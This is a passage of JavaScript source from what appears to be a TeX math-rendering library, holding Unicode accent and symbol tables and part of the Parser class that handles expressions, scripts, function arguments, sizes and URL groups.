12215// math mode (when they exist).
12216var unicodeAccents = {
12217 "\u0301": { text: "\\'", math: "\\acute" },
12218 "\u0300": { text: "\\`", math: "\\grave" },
12219 "\u0308": { text: '\\"', math: "\\ddot" },
12220 "\u0303": { text: "\\~", math: "\\tilde" },
12221 "\u0304": { text: "\\=", math: "\\bar" },
12222 "\u0306": { text: "\\u", math: "\\breve" },
12223 "\u030c": { text: "\\v", math: "\\check" },
12224 "\u0302": { text: "\\^", math: "\\hat" },
12225 "\u0307": { text: "\\.", math: "\\dot" },
12226 "\u030a": { text: "\\r", math: "\\mathring" },
12227 "\u030b": { text: "\\H" },
12228 '\u0327': { text: '\\c' }
12229};
12230
12231var unicodeSymbols = {
12232 "á": "á",
12233 "à": "à",
12234 "ä": "ä",
12235 "ǟ": "ǟ",
12236 "ã": "ã",
12237 "ā": "ā",
12238 "ă": "ă",
12239 "ắ": "ắ",
12240 "ằ": "ằ",
12241 "ẵ": "ẵ",
12242 "ǎ": "ǎ",
12243 "â": "â",
12244 "ấ": "ấ",
12245 "ầ": "ầ",
12246 "ẫ": "ẫ",
12247 "ȧ": "ȧ",
12248 "ǡ": "ǡ",
12249 "å": "å",
12250 "ǻ": "ǻ",
12251 "ḃ": "ḃ",
12252 "ć": "ć",
12253 "č": "č",
12254 "ĉ": "ĉ",
12255 "ċ": "ċ",
12256 "ď": "ď",
12257 "ḋ": "ḋ",
12258 "é": "é",
12259 "è": "è",
12260 "ë": "ë",
12261 "ẽ": "ẽ",
12262 "ē": "ē",
12263 "ḗ": "ḗ",
12264 "ḕ": "ḕ",
12265 "ĕ": "ĕ",
12266 "ě": "ě",
12267 "ê": "ê",
12268 "ế": "ế",
12269 "ề": "ề",
12270 "ễ": "ễ",
12271 "ė": "ė",
12272 "ḟ": "ḟ",
12273 "ǵ": "ǵ",
12274 "ḡ": "ḡ",
12275 "ğ": "ğ",
12276 "ǧ": "ǧ",
12277 "ĝ": "ĝ",
12278 "ġ": "ġ",
12279 "ḧ": "ḧ",
12280 "ȟ": "ȟ",
12281 "ĥ": "ĥ",
12282 "ḣ": "ḣ",
12283 "í": "í",
12284 "ì": "ì",
12285 "ï": "ï",
12286 "ḯ": "ḯ",
12287 "ĩ": "ĩ",
12288 "ī": "ī",
12289 "ĭ": "ĭ",
12290 "ǐ": "ǐ",
12291 "î": "î",
12292 "ǰ": "ǰ",
12293 "ĵ": "ĵ",
12294 "ḱ": "ḱ",
12295 "ǩ": "ǩ",
12296 "ĺ": "ĺ",
12297 "ľ": "ľ",
12298 "ḿ": "ḿ",
12299 "ṁ": "ṁ",
12300 "ń": "ń",
12301 "ǹ": "ǹ",
12302 "ñ": "ñ",
12303 "ň": "ň",
12304 "ṅ": "ṅ",
12305 "ó": "ó",
12306 "ò": "ò",
12307 "ö": "ö",
12308 "ȫ": "ȫ",
12309 "õ": "õ",
12310 "ṍ": "ṍ",
12311 "ṏ": "ṏ",
12312 "ȭ": "ȭ",
12313 "ō": "ō",
12314 "ṓ": "ṓ",
12315 "ṑ": "ṑ",
12316 "ŏ": "ŏ",
12317 "ǒ": "ǒ",
12318 "ô": "ô",
12319 "ố": "ố",
12320 "ồ": "ồ",
12321 "ỗ": "ỗ",
12322 "ȯ": "ȯ",
12323 "ȱ": "ȱ",
12324 "ő": "ő",
12325 "ṕ": "ṕ",
12326 "ṗ": "ṗ",
12327 "ŕ": "ŕ",
12328 "ř": "ř",
12329 "ṙ": "ṙ",
12330 "ś": "ś",
12331 "ṥ": "ṥ",
12332 "š": "š",
12333 "ṧ": "ṧ",
12334 "ŝ": "ŝ",
12335 "ṡ": "ṡ",
12336 "ẗ": "ẗ",
12337 "ť": "ť",
12338 "ṫ": "ṫ",
12339 "ú": "ú",
12340 "ù": "ù",
12341 "ü": "ü",
12342 "ǘ": "ǘ",
12343 "ǜ": "ǜ",
12344 "ǖ": "ǖ",
12345 "ǚ": "ǚ",
12346 "ũ": "ũ",
12347 "ṹ": "ṹ",
12348 "ū": "ū",
12349 "ṻ": "ṻ",
12350 "ŭ": "ŭ",
12351 "ǔ": "ǔ",
12352 "û": "û",
12353 "ů": "ů",
12354 "ű": "ű",
12355 "ṽ": "ṽ",
12356 "ẃ": "ẃ",
12357 "ẁ": "ẁ",
12358 "ẅ": "ẅ",
12359 "ŵ": "ŵ",
12360 "ẇ": "ẇ",
12361 "ẘ": "ẘ",
12362 "ẍ": "ẍ",
12363 "ẋ": "ẋ",
12364 "ý": "ý",
12365 "ỳ": "ỳ",
12366 "ÿ": "ÿ",
12367 "ỹ": "ỹ",
12368 "ȳ": "ȳ",
12369 "ŷ": "ŷ",
12370 "ẏ": "ẏ",
12371 "ẙ": "ẙ",
12372 "ź": "ź",
12373 "ž": "ž",
12374 "ẑ": "ẑ",
12375 "ż": "ż",
12376 "Á": "Á",
12377 "À": "À",
12378 "Ä": "Ä",
12379 "Ǟ": "Ǟ",
12380 "Ã": "Ã",
12381 "Ā": "Ā",
12382 "Ă": "Ă",
12383 "Ắ": "Ắ",
12384 "Ằ": "Ằ",
12385 "Ẵ": "Ẵ",
12386 "Ǎ": "Ǎ",
12387 "Â": "Â",
12388 "Ấ": "Ấ",
12389 "Ầ": "Ầ",
12390 "Ẫ": "Ẫ",
12391 "Ȧ": "Ȧ",
12392 "Ǡ": "Ǡ",
12393 "Å": "Å",
12394 "Ǻ": "Ǻ",
12395 "Ḃ": "Ḃ",
12396 "Ć": "Ć",
12397 "Č": "Č",
12398 "Ĉ": "Ĉ",
12399 "Ċ": "Ċ",
12400 "Ď": "Ď",
12401 "Ḋ": "Ḋ",
12402 "É": "É",
12403 "È": "È",
12404 "Ë": "Ë",
12405 "Ẽ": "Ẽ",
12406 "Ē": "Ē",
12407 "Ḗ": "Ḗ",
12408 "Ḕ": "Ḕ",
12409 "Ĕ": "Ĕ",
12410 "Ě": "Ě",
12411 "Ê": "Ê",
12412 "Ế": "Ế",
12413 "Ề": "Ề",
12414 "Ễ": "Ễ",
12415 "Ė": "Ė",
12416 "Ḟ": "Ḟ",
12417 "Ǵ": "Ǵ",
12418 "Ḡ": "Ḡ",
12419 "Ğ": "Ğ",
12420 "Ǧ": "Ǧ",
12421 "Ĝ": "Ĝ",
12422 "Ġ": "Ġ",
12423 "Ḧ": "Ḧ",
12424 "Ȟ": "Ȟ",
12425 "Ĥ": "Ĥ",
12426 "Ḣ": "Ḣ",
12427 "Í": "Í",
12428 "Ì": "Ì",
12429 "Ï": "Ï",
12430 "Ḯ": "Ḯ",
12431 "Ĩ": "Ĩ",
12432 "Ī": "Ī",
12433 "Ĭ": "Ĭ",
12434 "Ǐ": "Ǐ",
12435 "Î": "Î",
12436 "İ": "İ",
12437 "Ĵ": "Ĵ",
12438 "Ḱ": "Ḱ",
12439 "Ǩ": "Ǩ",
12440 "Ĺ": "Ĺ",
12441 "Ľ": "Ľ",
12442 "Ḿ": "Ḿ",
12443 "Ṁ": "Ṁ",
12444 "Ń": "Ń",
12445 "Ǹ": "Ǹ",
12446 "Ñ": "Ñ",
12447 "Ň": "Ň",
12448 "Ṅ": "Ṅ",
12449 "Ó": "Ó",
12450 "Ò": "Ò",
12451 "Ö": "Ö",
12452 "Ȫ": "Ȫ",
12453 "Õ": "Õ",
12454 "Ṍ": "Ṍ",
12455 "Ṏ": "Ṏ",
12456 "Ȭ": "Ȭ",
12457 "Ō": "Ō",
12458 "Ṓ": "Ṓ",
12459 "Ṑ": "Ṑ",
12460 "Ŏ": "Ŏ",
12461 "Ǒ": "Ǒ",
12462 "Ô": "Ô",
12463 "Ố": "Ố",
12464 "Ồ": "Ồ",
12465 "Ỗ": "Ỗ",
12466 "Ȯ": "Ȯ",
12467 "Ȱ": "Ȱ",
12468 "Ő": "Ő",
12469 "Ṕ": "Ṕ",
12470 "Ṗ": "Ṗ",
12471 "Ŕ": "Ŕ",
12472 "Ř": "Ř",
12473 "Ṙ": "Ṙ",
12474 "Ś": "Ś",
12475 "Ṥ": "Ṥ",
12476 "Š": "Š",
12477 "Ṧ": "Ṧ",
12478 "Ŝ": "Ŝ",
12479 "Ṡ": "Ṡ",
12480 "Ť": "Ť",
12481 "Ṫ": "Ṫ",
12482 "Ú": "Ú",
12483 "Ù": "Ù",
12484 "Ü": "Ü",
12485 "Ǘ": "Ǘ",
12486 "Ǜ": "Ǜ",
12487 "Ǖ": "Ǖ",
12488 "Ǚ": "Ǚ",
12489 "Ũ": "Ũ",
12490 "Ṹ": "Ṹ",
12491 "Ū": "Ū",
12492 "Ṻ": "Ṻ",
12493 "Ŭ": "Ŭ",
12494 "Ǔ": "Ǔ",
12495 "Û": "Û",
12496 "Ů": "Ů",
12497 "Ű": "Ű",
12498 "Ṽ": "Ṽ",
12499 "Ẃ": "Ẃ",
12500 "Ẁ": "Ẁ",
12501 "Ẅ": "Ẅ",
12502 "Ŵ": "Ŵ",
12503 "Ẇ": "Ẇ",
12504 "Ẍ": "Ẍ",
12505 "Ẋ": "Ẋ",
12506 "Ý": "Ý",
12507 "Ỳ": "Ỳ",
12508 "Ÿ": "Ÿ",
12509 "Ỹ": "Ỹ",
12510 "Ȳ": "Ȳ",
12511 "Ŷ": "Ŷ",
12512 "Ẏ": "Ẏ",
12513 "Ź": "Ź",
12514 "Ž": "Ž",
12515 "Ẑ": "Ẑ",
12516 "Ż": "Ż",
12517 "ά": "ά",
12518 "ὰ": "ὰ",
12519 "ᾱ": "ᾱ",
12520 "ᾰ": "ᾰ",
12521 "έ": "έ",
12522 "ὲ": "ὲ",
12523 "ή": "ή",
12524 "ὴ": "ὴ",
12525 "ί": "ί",
12526 "ὶ": "ὶ",
12527 "ϊ": "ϊ",
12528 "ΐ": "ΐ",
12529 "ῒ": "ῒ",
12530 "ῑ": "ῑ",
12531 "ῐ": "ῐ",
12532 "ό": "ό",
12533 "ὸ": "ὸ",
12534 "ύ": "ύ",
12535 "ὺ": "ὺ",
12536 "ϋ": "ϋ",
12537 "ΰ": "ΰ",
12538 "ῢ": "ῢ",
12539 "ῡ": "ῡ",
12540 "ῠ": "ῠ",
12541 "ώ": "ώ",
12542 "ὼ": "ὼ",
12543 "Ύ": "Ύ",
12544 "Ὺ": "Ὺ",
12545 "Ϋ": "Ϋ",
12546 "Ῡ": "Ῡ",
12547 "Ῠ": "Ῠ",
12548 "Ώ": "Ώ",
12549 "Ὼ": "Ὼ"
12550};
12551
12552/* eslint no-constant-condition:0 */
12553
12554const binLeftCancellers = ["bin", "op", "open", "punct", "rel"];
12555const sizeRegEx = /([-+]?) *(\d+(?:\.\d*)?|\.\d+) *([a-z]{2})/;
12556
12557/**
12558 * This file contains the parser used to parse out a TeX expression from the
12559 * input. Since TeX isn't context-free, standard parsers don't work particularly
12560 * well.
12561 *
12562 * The strategy of this parser is as such:
12563 *
12564 * The main functions (the `.parse...` ones) take a position in the current
12565 * parse string to parse tokens from. The lexer (found in Lexer.js, stored at
12566 * this.gullet.lexer) also supports pulling out tokens at arbitrary places. When
12567 * individual tokens are needed at a position, the lexer is called to pull out a
12568 * token, which is then used.
12569 *
12570 * The parser has a property called "mode" indicating the mode that
12571 * the parser is currently in. Currently it has to be one of "math" or
12572 * "text", which denotes whether the current environment is a math-y
12573 * one or a text-y one (e.g. inside \text). Currently, this serves to
12574 * limit the functions which can be used in text mode.
12575 *
12576 * The main functions then return an object which contains the useful data that
12577 * was parsed at its given point, and a new position at the end of the parsed
12578 * data. The main functions can call each other and continue the parsing by
12579 * using the returned position as a new starting point.
12580 *
12581 * There are also extra `.handle...` functions, which pull out some reused
12582 * functionality into self-contained functions.
12583 *
12584 * The functions return ParseNodes.
12585 */
12586
12587class Parser {
12588 constructor(input, settings, isPreamble = false) {
12589 // Start in math mode
12590 this.mode = "math";
12591 // Create a new macro expander (gullet) and (indirectly via that) also a
12592 // new lexer (mouth) for this parser (stomach, in the language of TeX)
12593 this.gullet = new MacroExpander(input, settings, this.mode);
12594 // Store the settings for use in parsing
12595 this.settings = settings;
12596 // Are we defining a preamble?
12597 this.isPreamble = isPreamble;
12598 // Count leftright depth (for \middle errors)
12599 this.leftrightDepth = 0;
12600 this.prevAtomType = "";
12601 }
12602
12603 /**
12604 * Checks a result to make sure it has the right type, and throws an
12605 * appropriate error otherwise.
12606 */
12607 expect(text, consume = true) {
12608 if (this.fetch().text !== text) {
12609 throw new ParseError(`Expected '${text}', got '${this.fetch().text}'`, this.fetch());
12610 }
12611 if (consume) {
12612 this.consume();
12613 }
12614 }
12615
12616 /**
12617 * Discards the current lookahead token, considering it consumed.
12618 */
12619 consume() {
12620 this.nextToken = null;
12621 }
12622
12623 /**
12624 * Return the current lookahead token, or if there isn't one (at the
12625 * beginning, or if the previous lookahead token was consume()d),
12626 * fetch the next token as the new lookahead token and return it.
12627 */
12628 fetch() {
12629 if (this.nextToken == null) {
12630 this.nextToken = this.gullet.expandNextToken();
12631 }
12632 return this.nextToken;
12633 }
12634
12635 /**
12636 * Switches between "text" and "math" modes.
12637 */
12638 switchMode(newMode) {
12639 this.mode = newMode;
12640 this.gullet.switchMode(newMode);
12641 }
12642
12643 /**
12644 * Main parsing function, which parses an entire input.
12645 */
12646 parse() {
12647 // Create a group namespace for every $...$, $$...$$, \[...\].)
12648 // A \def is then valid only within that pair of delimiters.
12649 this.gullet.beginGroup();
12650
12651 if (this.settings.colorIsTextColor) {
12652 // Use old \color behavior (same as LaTeX's \textcolor) if requested.
12653 // We do this within the group for the math expression, so it doesn't
12654 // pollute settings.macros.
12655 this.gullet.macros.set("\\color", "\\textcolor");
12656 }
12657
12658 // Try to parse the input
12659 const parse = this.parseExpression(false);
12660
12661 // If we succeeded, make sure there's an EOF at the end
12662 this.expect("EOF");
12663
12664 if (this.isPreamble) {
12665 const macros = Object.create(null);
12666 Object.entries(this.gullet.macros.current).forEach(([key, value]) => {
12667 macros[key] = value;
12668 });
12669 this.gullet.endGroup();
12670 return macros
12671 }
12672
12673 // The only local macro that we want to save is from \tag.
12674 const tag = this.gullet.macros.get("\\df@tag");
12675
12676 // End the group namespace for the expression
12677 this.gullet.endGroup();
12678
12679 if (tag) { this.gullet.macros.current["\\df@tag"] = tag; }
12680
12681 return parse;
12682 }
12683
12684 static get endOfExpression() {
12685 return ["}", "\\endgroup", "\\end", "\\right", "\\endtoggle", "&"];
12686 }
12687
12688 /**
12689 * Fully parse a separate sequence of tokens as a separate job.
12690 * Tokens should be specified in reverse order, as in a MacroDefinition.
12691 */
12692 subparse(tokens) {
12693 // Save the next token from the current job.
12694 const oldToken = this.nextToken;
12695 this.consume();
12696
12697 // Run the new job, terminating it with an excess '}'
12698 this.gullet.pushToken(new Token("}"));
12699 this.gullet.pushTokens(tokens);
12700 const parse = this.parseExpression(false);
12701 this.expect("}");
12702
12703 // Restore the next token from the current job.
12704 this.nextToken = oldToken;
12705
12706 return parse;
12707 }
12708
12709/**
12710 * Parses an "expression", which is a list of atoms.
12711 *
12712 * `breakOnInfix`: Should the parsing stop when we hit infix nodes? This
12713 * happens when functions have higher precedence han infix
12714 * nodes in implicit parses.
12715 *
12716 * `breakOnTokenText`: The text of the token that the expression should end
12717 * with, or `null` if something else should end the
12718 * expression.
12719 *
12720 * `breakOnMiddle`: \color, \over, and old styling functions work on an implicit group.
12721 * These groups end just before the usual tokens, but they also
12722 * end just before `\middle`.
12723 */
12724 parseExpression(breakOnInfix, breakOnTokenText, breakOnMiddle) {
12725 const body = [];
12726 this.prevAtomType = "";
12727 // Keep adding atoms to the body until we can't parse any more atoms (either
12728 // we reached the end, a }, or a \right)
12729 while (true) {
12730 // Ignore spaces in math mode
12731 if (this.mode === "math") {
12732 this.consumeSpaces();
12733 }
12734 const lex = this.fetch();
12735 if (Parser.endOfExpression.indexOf(lex.text) !== -1) {
12736 break;
12737 }
12738 if (breakOnTokenText && lex.text === breakOnTokenText) {
12739 break;
12740 }
12741 if (breakOnMiddle && lex.text === "\\middle") {
12742 break
12743 }
12744 if (breakOnInfix && functions[lex.text] && functions[lex.text].infix) {
12745 break;
12746 }
12747 const atom = this.parseAtom(breakOnTokenText);
12748 if (!atom) {
12749 break;
12750 } else if (atom.type === "internal") {
12751 continue;
12752 }
12753 body.push(atom);
12754 // Keep a record of the atom type, so that op.js can set correct spacing.
12755 this.prevAtomType = atom.type === "atom" ? atom.family : atom.type;
12756 }
12757 if (this.mode === "text") {
12758 this.formLigatures(body);
12759 }
12760 return this.handleInfixNodes(body);
12761 }
12762
12763 /**
12764 * Rewrites infix operators such as \over with corresponding commands such
12765 * as \frac.
12766 *
12767 * There can only be one infix operator per group. If there's more than one
12768 * then the expression is ambiguous. This can be resolved by adding {}.
12769 */
12770 handleInfixNodes(body) {
12771 let overIndex = -1;
12772 let funcName;
12773
12774 for (let i = 0; i < body.length; i++) {
12775 if (body[i].type === "infix") {
12776 if (overIndex !== -1) {
12777 throw new ParseError("only one infix operator per group", body[i].token);
12778 }
12779 overIndex = i;
12780 funcName = body[i].replaceWith;
12781 }
12782 }
12783
12784 if (overIndex !== -1 && funcName) {
12785 let numerNode;
12786 let denomNode;
12787
12788 const numerBody = body.slice(0, overIndex);
12789 const denomBody = body.slice(overIndex + 1);
12790
12791 if (numerBody.length === 1 && numerBody[0].type === "ordgroup") {
12792 numerNode = numerBody[0];
12793 } else {
12794 numerNode = { type: "ordgroup", mode: this.mode, body: numerBody };
12795 }
12796
12797 if (denomBody.length === 1 && denomBody[0].type === "ordgroup") {
12798 denomNode = denomBody[0];
12799 } else {
12800 denomNode = { type: "ordgroup", mode: this.mode, body: denomBody };
12801 }
12802
12803 let node;
12804 if (funcName === "\\\\abovefrac") {
12805 node = this.callFunction(funcName, [numerNode, body[overIndex], denomNode], []);
12806 } else {
12807 node = this.callFunction(funcName, [numerNode, denomNode], []);
12808 }
12809 return [node];
12810 } else {
12811 return body;
12812 }
12813 }
12814
12815 /**
12816 * Handle a subscript or superscript with nice errors.
12817 */
12818 handleSupSubscript(
12819 name // For error reporting.
12820 ) {
12821 const symbolToken = this.fetch();
12822 const symbol = symbolToken.text;
12823 this.consume();
12824 this.consumeSpaces(); // ignore spaces before sup/subscript argument
12825 const group = this.parseGroup(name);
12826
12827 if (!group) {
12828 throw new ParseError("Expected group after '" + symbol + "'", symbolToken);
12829 }
12830
12831 return group;
12832 }
12833
12834 /**
12835 * Converts the textual input of an unsupported command into a text node
12836 * contained within a color node whose color is determined by errorColor
12837 */
12838 formatUnsupportedCmd(text) {
12839 const textordArray = [];
12840
12841 for (let i = 0; i < text.length; i++) {
12842 textordArray.push({ type: "textord", mode: "text", text: text[i] });
12843 }
12844
12845 const textNode = {
12846 type: "text",
12847 mode: this.mode,
12848 body: textordArray
12849 };
12850
12851 const colorNode = {
12852 type: "color",
12853 mode: this.mode,
12854 color: this.settings.errorColor,
12855 body: [textNode]
12856 };
12857
12858 return colorNode;
12859 }
12860
12861 /**
12862 * Parses a group with optional super/subscripts.
12863 */
12864 parseAtom(breakOnTokenText) {
12865 // The body of an atom is an implicit group, so that things like
12866 // \left(x\right)^2 work correctly.
12867 const base = this.parseGroup("atom", breakOnTokenText);
12868
12869 // In text mode, we don't have superscripts or subscripts
12870 if (this.mode === "text") {
12871 return base;
12872 }
12873
12874 // Note that base may be empty (i.e. null) at this point.
12875
12876 let superscript;
12877 let subscript;
12878 while (true) {
12879 // Guaranteed in math mode, so eat any spaces first.
12880 this.consumeSpaces();
12881
12882 // Lex the first token
12883 const lex = this.fetch();
12884
12885 if (lex.text === "\\limits" || lex.text === "\\nolimits") {
12886 // We got a limit control
12887 if (base && base.type === "op") {
12888 const limits = lex.text === "\\limits";
12889 base.limits = limits;
12890 base.alwaysHandleSupSub = true;
12891 } else if (base && base.type === "operatorname") {
12892 if (base.alwaysHandleSupSub) {
12893 base.limits = lex.text === "\\limits";
12894 }
12895 } else {
12896 throw new ParseError("Limit controls must follow a math operator", lex);
12897 }
12898 this.consume();
12899 } else if (lex.text === "^") {
12900 // We got a superscript start
12901 if (superscript) {
12902 throw new ParseError("Double superscript", lex);
12903 }
12904 superscript = this.handleSupSubscript("superscript");
12905 } else if (lex.text === "_") {
12906 // We got a subscript start
12907 if (subscript) {
12908 throw new ParseError("Double subscript", lex);
12909 }
12910 subscript = this.handleSupSubscript("subscript");
12911 } else if (lex.text === "'") {
12912 // We got a prime
12913 if (superscript) {
12914 throw new ParseError("Double superscript", lex);
12915 }
12916 const prime = { type: "textord", mode: this.mode, text: "\\prime" };
12917
12918 // Many primes can be grouped together, so we handle this here
12919 const primes = [prime];
12920 this.consume();
12921 // Keep lexing tokens until we get something that's not a prime
12922 while (this.fetch().text === "'") {
12923 // For each one, add another prime to the list
12924 primes.push(prime);
12925 this.consume();
12926 }
12927 // If there's a superscript following the primes, combine that
12928 // superscript in with the primes.
12929 if (this.fetch().text === "^") {
12930 primes.push(this.handleSupSubscript("superscript"));
12931 }
12932 // Put everything into an ordgroup as the superscript
12933 superscript = { type: "ordgroup", mode: this.mode, body: primes };
12934 } else if (uSubsAndSups[lex.text]) {
12935 // A Unicode subscript or superscript character.
12936 // We treat these similarly to the unicode-math package.
12937 // So we render a string of Unicode (sub|super)scripts the
12938 // same as a (sub|super)script of regular characters.
12939 const isSub = unicodeSubRegEx.test(lex.text);
12940 const subsupTokens = [];
12941 subsupTokens.push(new Token(uSubsAndSups[lex.text]));
12942 this.consume();
12943 // Continue fetching tokens to fill out the group.
12944 while (true) {
12945 const token = this.fetch().text;
12946 if (!(uSubsAndSups[token])) { break }
12947 if (unicodeSubRegEx.test(token) !== isSub) { break }
12948 subsupTokens.unshift(new Token(uSubsAndSups[token]));
12949 this.consume();
12950 }
12951 // Now create a (sub|super)script.
12952 const body = this.subparse(subsupTokens);
12953 if (isSub) {
12954 subscript = { type: "ordgroup", mode: "math", body };
12955 } else {
12956 superscript = { type: "ordgroup", mode: "math", body };
12957 }
12958 } else {
12959 // If it wasn't ^, _, a Unicode (sub|super)script, or ', stop parsing super/subscripts
12960 break;
12961 }
12962 }
12963
12964 if (superscript || subscript) {
12965 if (base && base.type === "multiscript" && !base.postscripts) {
12966 // base is the result of a \prescript function.
12967 // Write the sub- & superscripts into the multiscript element.
12968 base.postscripts = { sup: superscript, sub: subscript };
12969 return base
12970 } else {
12971 // We got either a superscript or subscript, create a supsub
12972 const isFollowedByDelimiter = (!base || base.type !== "op" && base.type !== "operatorname")
12973 ? undefined
12974 : isDelimiter(this.nextToken.text);
12975 return {
12976 type: "supsub",
12977 mode: this.mode,
12978 base: base,
12979 sup: superscript,
12980 sub: subscript,
12981 isFollowedByDelimiter
12982 }
12983 }
12984 } else {
12985 // Otherwise return the original body
12986 return base;
12987 }
12988 }
12989
12990 /**
12991 * Parses an entire function, including its base and all of its arguments.
12992 */
12993 parseFunction(
12994 breakOnTokenText,
12995 name // For determining its context
12996 ) {
12997 const token = this.fetch();
12998 const func = token.text;
12999 const funcData = functions[func];
13000 if (!funcData) {
13001 return null;
13002 }
13003 this.consume(); // consume command token
13004
13005 if (name && name !== "atom" && !funcData.allowedInArgument) {
13006 throw new ParseError(
13007 "Got function '" + func + "' with no arguments" + (name ? " as " + name : ""),
13008 token
13009 );
13010 } else if (this.mode === "text" && !funcData.allowedInText) {
13011 throw new ParseError("Can't use function '" + func + "' in text mode", token);
13012 } else if (this.mode === "math" && funcData.allowedInMath === false) {
13013 throw new ParseError("Can't use function '" + func + "' in math mode", token);
13014 }
13015
13016 const prevAtomType = this.prevAtomType;
13017 const { args, optArgs } = this.parseArguments(func, funcData);
13018 this.prevAtomType = prevAtomType;
13019 return this.callFunction(func, args, optArgs, token, breakOnTokenText);
13020 }
13021
13022 /**
13023 * Call a function handler with a suitable context and arguments.
13024 */
13025 callFunction(name, args, optArgs, token, breakOnTokenText) {
13026 const context = {
13027 funcName: name,
13028 parser: this,
13029 token,
13030 breakOnTokenText
13031 };
13032 const func = functions[name];
13033 if (func && func.handler) {
13034 return func.handler(context, args, optArgs);
13035 } else {
13036 throw new ParseError(`No function handler for ${name}`);
13037 }
13038 }
13039
13040 /**
13041 * Parses the arguments of a function or environment
13042 */
13043 parseArguments(
13044 func, // Should look like "\name" or "\begin{name}".
13045 funcData
13046 ) {
13047 const totalArgs = funcData.numArgs + funcData.numOptionalArgs;
13048 if (totalArgs === 0) {
13049 return { args: [], optArgs: [] };
13050 }
13051
13052 const args = [];
13053 const optArgs = [];
13054
13055 for (let i = 0; i < totalArgs; i++) {
13056 let argType = funcData.argTypes && funcData.argTypes[i];
13057 const isOptional = i < funcData.numOptionalArgs;
13058
13059 if (
13060 (funcData.primitive && argType == null) ||
13061 // \sqrt expands into primitive if optional argument doesn't exist
13062 (funcData.type === "sqrt" && i === 1 && optArgs[0] == null)
13063 ) {
13064 argType = "primitive";
13065 }
13066
13067 const arg = this.parseGroupOfType(`argument to '${func}'`, argType, isOptional);
13068 if (isOptional) {
13069 optArgs.push(arg);
13070 } else if (arg != null) {
13071 args.push(arg);
13072 } else {
13073 // should be unreachable
13074 throw new ParseError("Null argument, please report this as a bug");
13075 }
13076 }
13077
13078 return { args, optArgs };
13079 }
13080
13081 /**
13082 * Parses a group when the mode is changing.
13083 */
13084 parseGroupOfType(name, type, optional) {
13085 switch (type) {
13086 case "size":
13087 return this.parseSizeGroup(optional);
13088 case "url":
13089 return this.parseUrlGroup(optional);
13090 case "math":
13091 case "text":
13092 return this.parseArgumentGroup(optional, type);
13093 case "hbox": {
13094 // hbox argument type wraps the argument in the equivalent of
13095 // \hbox, which is like \text but switching to \textstyle size.
13096 const group = this.parseArgumentGroup(optional, "text");
13097 return group != null
13098 ? {
13099 type: "styling",
13100 mode: group.mode,
13101 body: [group],
13102 scriptLevel: "text" // simulate \textstyle
13103 }
13104 : null;
13105 }
13106 case "raw": {
13107 const token = this.parseStringGroup("raw", optional);
13108 return token != null
13109 ? {
13110 type: "raw",
13111 mode: "text",
13112 string: token.text
13113 }
13114 : null;
13115 }
13116 case "primitive": {
13117 if (optional) {
13118 throw new ParseError("A primitive argument cannot be optional");
13119 }
13120 const group = this.parseGroup(name);
13121 if (group == null) {
13122 throw new ParseError("Expected group as " + name, this.fetch());
13123 }
13124 return group;
13125 }
13126 case "original":
13127 case null:
13128 case undefined:
13129 return this.parseArgumentGroup(optional);
13130 default:
13131 throw new ParseError("Unknown group type as " + name, this.fetch());
13132 }
13133 }
13134
13135 /**
13136 * Discard any space tokens, fetching the next non-space token.
13137 */
13138 consumeSpaces() {
13139 while (true) {
13140 const ch = this.fetch().text;
13141 // \ufe0e is the Unicode variation selector to supress emoji. Ignore it.
13142 if (ch === " " || ch === "\u00a0" || ch === "\ufe0e") {
13143 this.consume();
13144 } else {
13145 break
13146 }
13147 }
13148 }
13149
13150 /**
13151 * Parses a group, essentially returning the string formed by the
13152 * brace-enclosed tokens plus some position information.
13153 */
13154 parseStringGroup(
13155 modeName, // Used to describe the mode in error messages.
13156 optional
13157 ) {
13158 const argToken = this.gullet.scanArgument(optional);
13159 if (argToken == null) {
13160 return null;
13161 }
13162 let str = "";
13163 let nextToken;
13164 while ((nextToken = this.fetch()).text !== "EOF") {
13165 str += nextToken.text;
13166 this.consume();
13167 }
13168 this.consume(); // consume the end of the argument
13169 argToken.text = str;
13170 return argToken;
13171 }
13172
13173 /**
13174 * Parses a regex-delimited group: the largest sequence of tokens
13175 * whose concatenated strings match `regex`. Returns the string
13176 * formed by the tokens plus some position information.
13177 */
13178 parseRegexGroup(
13179 regex,
13180 modeName // Used to describe the mode in error messages.
13181 ) {
13182 const firstToken = this.fetch();
13183 let lastToken = firstToken;
13184 let str = "";
13185 let nextToken;
13186 while ((nextToken = this.fetch()).text !== "EOF" && regex.test(str + nextToken.text)) {
13187 lastToken = nextToken;
13188 str += lastToken.text;
13189 this.consume();
13190 }
13191 if (str === "") {
13192 throw new ParseError("Invalid " + modeName + ": '" + firstToken.text + "'", firstToken);
13193 }
13194 return firstToken.range(lastToken, str);
13195 }
13196
13197 /**
13198 * Parses a size specification, consisting of magnitude and unit.
13199 */
13200 parseSizeGroup(optional) {
13201 let res;
13202 let isBlank = false;
13203 // don't expand before parseStringGroup
13204 this.gullet.consumeSpaces();
13205 if (!optional && this.gullet.future().text !== "{") {
13206 res = this.parseRegexGroup(/^[-+]? *(?:$|\d+|\d+\.\d*|\.\d*) *[a-z]{0,2} *$/, "size");
13207 } else {
13208 res = this.parseStringGroup("size", optional);
13209 }
13210 if (!res) {
13211 return null;
13212 }
13213 if (!optional && res.text.length === 0) {
13214 // Because we've tested for what is !optional, this block won't
13215 // affect \kern, \hspace, etc. It will capture the mandatory arguments
13216 // to \genfrac and \above.
13217 res.text = "0pt"; // Enable \above{}
13218 isBlank = true; // This is here specifically for \genfrac
13219 }
13220 const match = sizeRegEx.exec(res.text);
13221 if (!match) {
13222 throw new ParseError("Invalid size: '" + res.text + "'", res);
13223 }
13224 const data = {
13225 number: +(match[1] + match[2]), // sign + magnitude, cast to number
13226 unit: match[3]
13227 };
13228 if (!validUnit(data)) {
13229 throw new ParseError("Invalid unit: '" + data.unit + "'", res);
13230 }
13231 return {
13232 type: "size",
13233 mode: this.mode,
13234 value: data,
13235 isBlank
13236 };
13237 }
13238
13239 /**
13240 * Parses an URL, checking escaped letters and allowed protocols,
13241 * and setting the catcode of % as an active character (as in \hyperref).
13242 */
13243 parseUrlGroup(optional) {
13244 this.gullet.lexer.setCatcode("%", 13); // active character
13245 this.gullet.lexer.setCatcode("~", 12); // other character
13246 const res = this.parseStringGroup("url", optional);
13247 this.gullet.lexer.setCatcode("%", 14); // comment character
13248 this.gullet.lexer.setCatcode("~", 13); // active character
13249 if (res == null) {
13250 return null;
13251 }
13252 // hyperref package allows backslashes alone in href, but doesn't
13253 // generate valid links in such cases; we interpret this as
13254 // "undefined" behaviour, and keep them as-is. Some browser will
